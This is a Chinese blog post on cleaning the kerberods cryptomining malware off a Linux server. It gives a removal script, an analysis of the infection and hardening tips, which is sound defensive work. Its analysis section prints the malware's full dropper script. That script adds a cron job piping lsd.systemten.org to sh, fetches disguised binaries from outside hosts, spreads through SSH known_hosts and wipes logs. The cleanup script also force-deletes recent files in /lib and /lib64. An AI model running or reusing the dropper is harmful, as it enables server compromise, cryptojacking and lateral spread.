我的天，我的Linux服务器感染了kerberods病毒！
2020-04-17 本文已影响0人
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一、症状及表现
1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用。
注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox。
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2、crontab 定时任务异常，存在以下内容；
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3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题
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4、 存在异常文件、异常进程以及异常开机项
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二、查杀方法
1、断网，停止定时任务服务；
2、查杀病毒主程序，以及保护病毒的其他进程；
3、恢复被劫持的动态链接库和开机服务；
4、重启服务器和服务；
附查杀脚本(根据情况修改)
（脚本参考（https://blog.csdn.net/u010457406/article/details/89328869））
#!/bin/bash
#可以重复执行几次，防止互相拉起导致删除失败
function installBusyBox(){
#参考第一段
busybox|grep BusyBox |grep v
}
function banHosts(){
#删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行
busybox echo "" > /root/.ssh/authorized_keys
busybox echo "" > /root/.ssh/id_rsa
busybox echo "" > /root/.ssh/id_rsa.pub
busybox echo "" > /root/.ssh/known_hosts
#busybox echo "" > /root/.ssh/auth
#iptables -I INPUT -p tcp --dport 445 -j DROP
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
}
function fixCron(){
#修复crontab
busybox chattr -i /etc/cron.d/root 2>/dev/null
busybox rm -f /etc/cron.d/root
busybox chattr -i /var/spool/cron/root 2>/dev/null
busybox rm -f /var/spool/cron/root
busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
busybox rm -f /var/spool/cron/tomcat
busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -rf /var/spool/cron/tmp.*
busybox rm -rf /var/spool/cron/crontabs
busybox touch /var/spool/cron/root
busybox chattr +i /var/spool/cron/root
}
function killProcess(){
#修复异常进程
#busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox rm -f /tmp/khugepageds
busybox rm -f /tmp/migrationds
busybox rm -f /tmp/sshd
busybox rm -f /tmp/kauditds
busybox rm -f /tmp/migrationds
busybox rm -f /usr/sbin/sshd
busybox rm -f /usr/sbin/kerberods
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}
function clearLib(){
#修复动态库
busybox chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox chattr -i /etc/ld.so.preload 2>/dev/null
busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
busybox rm -f /etc/ld.so.cache
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox rm -rf /usr/local/lib/libpamcd.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox touch /etc/ld.so.preload
busybox chattr +i /etc/ld.so.preload
ldconfig
}
function clearInit(){
#修复异常开机项
#chkconfig netdns off 2>/dev/null
#chkconfig –del netdns 2>/dev/null
#systemctl disable netdns 2>/dev/null
busybox rm -f /etc/rc.d/init.d/kerberods
busybox rm -f /etc/init.d/netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
busybox rm -f /etc/rc3.d/S99netdns
#chkconfig watchdogs off 2>/dev/null
#chkconfig --del watchdogs 2>/dev/null
#chkconfig --del kworker 2>/dev/null
#chkconfig --del netdns 2>/dev/null
}
function recoverOk(){
service crond start
busybox sleep 3
busybox chattr -i /var/spool/cron/root
# 将杀毒进程加入到定时任务中，多次杀毒
echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
# 恢复被劫持的sshd 服务
#busybox cp ~/sshd_new /usr/sbin/sshd
#service sshd restart
echo "OK,BETTER REBOOT YOUR DEVICE"
}
#先停止crontab服务
echo "1| stop crondtab service!"
service crond stop
#防止病毒继续扩散
echo "2| banHosts!"
banHosts
#清除lib劫持
echo "3| clearLib!"
clearLib
#修复crontab
echo "4| fixCron!"
fixCron
#清理病毒进程
echo "5| killProcess!"
killProcess
#删除异常开机项
echo "6| clearInit! "
clearInit
#重启服务和系统
echo "7| recover!"
recoverOk
查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：
- /etc/profile，
- ~/.profile，
- ~/.bash_login，
- ~/.bash_profile，
- ~/.bashrc，
- /etc/bashrc；
最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句
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删除并次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。
三、病毒分析
1、感染路径
- 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
- 第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。
2、病毒主要模块
- 主恶意程序：kerberods
- 恶意Hook库：libcryptod.so libcryptod.c
- 挖矿程序：khugepageds
- 恶意脚本文件：netdns (用作kerberods的启停等管理)
- 恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）
3、执行顺序
① 执行恶意脚本下载命令
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② 主进程操作
1> 添加至开机启动，以及/etc/bashrc
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库，恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件，增加定时任务
7> 拉起khugepageds挖矿进程
附病毒恶意进程代码
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp
echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
chattr -i sshd
rm -rf sshd
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
else
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
fi
$(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
for file in /home/*
do
if test -d $file
then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
fi
done
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#
四、安全防护
1.SSH
① 谨慎做免密登录
② 尽量不使用默认的22端口
③ 增强root密码强度
2.Redis
① 增加授权认证(requirepass参数)
② 尽量使用docker版本(docker pull redis)
③ 隐藏重要的命令
